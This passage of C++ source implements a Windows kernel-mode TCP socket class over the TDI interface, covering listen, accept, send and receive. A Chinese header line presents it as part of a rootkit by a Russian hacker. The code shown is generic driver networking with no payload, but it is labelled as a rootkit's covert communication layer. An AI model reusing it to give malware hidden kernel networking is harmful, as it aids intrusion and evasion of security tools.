ktdistreamsocket.cpp

尔罗斯著名黑客写的rootkit

        if (pIrp != NULL)
        {
          TdiBuildListen(
                 pIrp, 
                 pDeviceObject, 
                 m_pTdiConnectionObject,
                 NULL, 
                 NULL,
                 TDI_QUERY_ACCEPT, // flags
                 m_pRequestListenInfo,
                 m_pReturnListenInfo);
          
          pIrpError = NULL;
          KeInitializeEvent(&m_kAcceptDestroyEvent, NotificationEvent, FALSE);
          KeInitializeEvent(&m_kListenEvent, NotificationEvent, FALSE);
          pIrp->UserEvent = &m_kListenEvent;
          NtStatus = TdiCall(pIrp, pDeviceObject, &IoStatusBlock, FALSE);
          if (NT_SUCCESS(NtStatus))
          {
            DbgPrint ("TdiListen: OK (%08x)!!!\n", NtStatus);
            m_bListen = TRUE;
            bRes = TRUE;
          }
          else
          {
            DbgPrint ("TdiListen: ERROR (%08x)!!!\n", NtStatus);
            delete[] m_pRequestListenInfo;
            m_pRequestListenInfo = NULL;
          }
        }
      }
    }
  }
  __finally
  {
    if (pIrpError != NULL)
      IoFreeIrp(pIrpError);
    if (m_bListen == FALSE && m_pRequestListenInfo != NULL)
      delete[] m_pRequestListenInfo;
  }

  return bRes;
}

BOOLEAN KTdiStreamSocket::Accept(ULONG dwTimeOut)
{
  //KLocker locker(&m_KSynchroObject);

  BOOLEAN                      bRes = FALSE;
  PIRP                         pIrp = NULL, pIrpError = NULL;
  PDEVICE_OBJECT               pDeviceObject;
  NTSTATUS                     NtStatus;
  PTA_IP_ADDRESS               pReturnAddress;
  PTDI_ADDRESS_IP              pIp;
  IO_STATUS_BLOCK              IoStatusBlock;
  PVOID                        pkEvents[2];
  LARGE_INTEGER                TimeOut;
  PLARGE_INTEGER               pTimeOut = NULL;

  //m_KSynchroObject.Lock();

  __try
  {
    if (m_bOpen == TRUE && m_bBind == TRUE && m_bConnected == FALSE && m_bListen == TRUE)
    {
      if (dwTimeOut != 0)
      {
        pTimeOut = &TimeOut;
        TimeOut.QuadPart = dwTimeOut * 10000; // msec -> 100 nsec intervals
        TimeOut.QuadPart = -TimeOut.QuadPart;
      }
      
      pkEvents[0] = &m_kListenEvent;
      pkEvents[1] = &m_kAcceptDestroyEvent;

      NtStatus  = KeWaitForMultipleObjects(2, pkEvents, WaitAny, Suspended, KernelMode, FALSE, pTimeOut, NULL);
      
      if (NtStatus == 0)
      {
        pDeviceObject = IoGetRelatedDeviceObject(m_pTdiConnectionObject);
      
        pReturnAddress = (PTA_IP_ADDRESS)(m_pReturnListenInfo->RemoteAddress);
        pReturnAddress->TAAddressCount = 1;
        pReturnAddress->Address[0].AddressLength = sizeof(TDI_ADDRESS_IP);
        pReturnAddress->Address[0].AddressType = TDI_ADDRESS_TYPE_IP;
        
        pIrp = TdiBuildInternalDeviceControlIrp(
                      TDI_ACCEPT, 
                      pDeviceObject, 
                      m_pTdiConnectionObject,
                      NULL, 
                      NULL);
        pIrpError = pIrp;
        if (pIrp != NULL)
        {
          TdiBuildAccept(
                 pIrp, 
                 pDeviceObject, 
                 m_pTdiConnectionObject,
                 NULL, 
                 NULL,
                 m_pRequestListenInfo,
                 m_pReturnListenInfo);
          
          pIrpError = NULL;
          NtStatus = TdiCall(pIrp, pDeviceObject, &IoStatusBlock, TRUE);
          if (NT_SUCCESS(NtStatus))
          {
            m_bConnected = TRUE;
            bRes = TRUE;
          
            pIp = (PTDI_ADDRESS_IP)(pReturnAddress->Address[0].Address);
            m_nRemotePort = W_BIG_TO_LITTLE_ENDIAN(pIp->sin_port);
            m_nRemoteAddress = D_BIG_TO_LITTLE_ENDIAN(pIp->in_addr);
          
            DbgPrint ("TdiAccept: OK (%08x : %04x)!!!\n", m_nRemoteAddress, m_nRemotePort);
          }
          else
          {
            DbgPrint ("TdiAccept: ERROR (%08x)!!!\n", NtStatus);
          }
        }
      }
    }
  }
  __finally
  {
    if (pIrpError != NULL)
      IoFreeIrp(pIrpError);
  }

  //m_KSynchroObject.UnLock();

  return bRes;
}
*/
ULONG KTdiStreamSocket::Send(PVOID pData, ULONG dwSize)
{
  //KLocker locker(&m_KSynchroObject);

  PIRP                         pIrp = NULL, pIrpError = NULL;
  PMDL                         pMdl;
  PDEVICE_OBJECT               pDeviceObject;
  NTSTATUS                     NtStatus;
  IO_STATUS_BLOCK              IoStatusBlock;
  ULONG                        dwBytesSended = 0;

  //m_KSynchroObject.Lock();

  __try
  {
    if (m_bOpen == TRUE && m_bConnected == TRUE && dwSize != 0)
    {
      pDeviceObject = IoGetRelatedDeviceObject(m_pTdiConnectionObject);

      pIrp = TdiBuildInternalDeviceControlIrp ( 
                     TDI_SEND,                                       // sub function
                     pDeviceObject,                                  // pointer to device object
                     m_pTdiConnectionObject,                         // pointer to control object
                     NULL,                                           // pointer to event
                     NULL);                                          // pointer to return buffer

      pIrpError = pIrp;
      if (pIrp == NULL)                                              // validate pointer
      {
        NtStatus = STATUS_INSUFFICIENT_RESOURCES;
      }
      else
      {
        pMdl = IoAllocateMdl(
                           pData,                                    // buffer pointer - virtual address
                           dwSize,                                   // length
                           FALSE,                                    // not secondary
                           FALSE,                                    // don't charge quota
                           NULL);                                    // don't use irp
        if (pMdl != NULL)                                            // validate mdl pointer
        {
          __try
          {
            MmProbeAndLockPages(pMdl, KernelMode, IoModifyAccess);    // probe & lock
          } 
          __except(EXCEPTION_EXECUTE_HANDLER)
          {
            DbgPrint("EXCEPTION: MmProbeAndLockPages\n");
            IoFreeMdl(pMdl);
            pMdl = NULL;
          }
        }

        if (pMdl != NULL)
        {
          TdiBuildSend(
                 pIrp, 
                 pDeviceObject,
                 m_pTdiConnectionObject,
                 NULL, 
                 NULL,
                 pMdl, 
                 0,
                 dwSize);
          pIrpError = NULL;

          //m_KSynchroObject.UnLock();

          NtStatus = TdiCall(pIrp, pDeviceObject, &IoStatusBlock);

          //m_KSynchroObject.Lock();

          if (NT_SUCCESS(NtStatus))
          {
            dwBytesSended = IoStatusBlock.Information;
          }
          else
          {
            DbgPrint ("TdiSend: ERROR (%08x)!!!\n", NtStatus);
            Disconnect();
          }
        }
      }
    }
  }
  __finally
  {
    if (pIrpError != NULL)
      IoFreeIrp(pIrpError);
  }

  //m_KSynchroObject.UnLock();

  return dwBytesSended;
}

ULONG KTdiStreamSocket::Receive(PVOID pData, ULONG dwSize)
{
  //KLocker locker(&m_KSynchroObject);

  PIRP                         pIrp = NULL, pIrpError = NULL;
  PMDL                         pMdl;
  PDEVICE_OBJECT               pDeviceObject;
  NTSTATUS                     NtStatus;
  IO_STATUS_BLOCK              IoStatusBlock;
  ULONG                        dwBytesRecv = 0;
  PVOID                        pMdlBuffer = NULL;

  //m_KSynchroObject.Lock();

  __try
  {
    if (m_bOpen == TRUE && m_bConnected == TRUE && dwSize != 0)
    {
      pDeviceObject = IoGetRelatedDeviceObject(m_pTdiConnectionObject);

      pMdlBuffer = new char[dwSize];

      pIrp = TdiBuildInternalDeviceControlIrp ( 
                     TDI_RECEIVE,                                    // sub function
                     pDeviceObject,                                  // pointer to device object
                     m_pTdiConnectionObject,                         // pointer to control object
                     NULL,                                           // pointer to event
                     NULL);                                // pointer to return buffer

      pIrpError = pIrp;
      if (pIrp == NULL || pMdlBuffer == NULL)                        // validate pointer
      {
        NtStatus = STATUS_INSUFFICIENT_RESOURCES;
      }
      else
      {
        pMdl = IoAllocateMdl(
                           pMdlBuffer,                               // buffer pointer - virtual address
                           dwSize,                                   // length
                           FALSE,                                    // not secondary
                           FALSE,                                    // don't charge quota
                           NULL);                                    // don't use irp
        if (pMdl != NULL)                                            // validate mdl pointer
        {
          __try
          {
            MmProbeAndLockPages(pMdl, KernelMode, IoModifyAccess);    // probe & lock
          } 
          __except(EXCEPTION_EXECUTE_HANDLER)
          {
            DbgPrint("EXCEPTION: MmProbeAndLockPages\n");
            IoFreeMdl(pMdl);
            pMdl = NULL;
          }
        }

        if (pMdl != NULL)
        {
          TdiBuildReceive(
                 pIrp, 
                 pDeviceObject,
                 m_pTdiConnectionObject,
                 NULL, 
                 NULL,
                 pMdl, 
                 0,
                 dwSize);
          pIrpError = NULL;

          //m_KSynchroObject.UnLock();

          NtStatus = TdiCall(pIrp, pDeviceObject, &IoStatusBlock);

          //m_KSynchroObject.Lock();

          if (NT_SUCCESS(NtStatus))
          {
            dwBytesRecv = IoStatusBlock.Information;
            memcpy(pData, pMdlBuffer, dwBytesRecv);
          }
          else
          {
            DbgPrint ("TdiRecv: ERROR (%08x)!!!\n", NtStatus);
            Disconnect();
          }
        }
      }
    }
  }
  __finally
  {
    if (pIrpError != NULL)
      IoFreeIrp(pIrpError);
    if (pMdlBuffer != NULL)
      delete[] pMdlBuffer;
  }

  //m_KSynchroObject.UnLock();

  return dwBytesRecv;
}


//
// protected functions
//

BOOLEAN KTdiStreamSocket::TdiOpenSocket(USHORT nLocalPort)
{
  BOOLEAN bRes = FALSE;
  if (TdiOpenTransport(nLocalPort) == TRUE)
  {
    //NTSTATUS NtStatus = TdiQueryAddress(m_pTdiTransportObject, &m_dwLocalAddress);
    //if (NT_SUCCESS(NtStatus))
    //{
    //  DbgPrint ( "Local IP Address = %X\n", m_dwLocalAddress );
      if (TdiOpenConnection() == FALSE)
      {
        TdiCloseTransport();
        m_hTdiConnection = NULL;
        m_pTdiConnectionObject = NULL;
        DbgPrint ( "ERROR: unable open connection\n" );
      }
      else
      {
        bRes = TRUE;
      }
    //}
    //else
    //{
    //  TdiCloseTransport();
    //  DbgPrint ( "ERROR: unable to determine local IP address\n" );
    //}
  }
  else
  {
    m_hTdiTransport = NULL;
    m_pTdiTransportObject = NULL;
  }
  
  return bRes;
}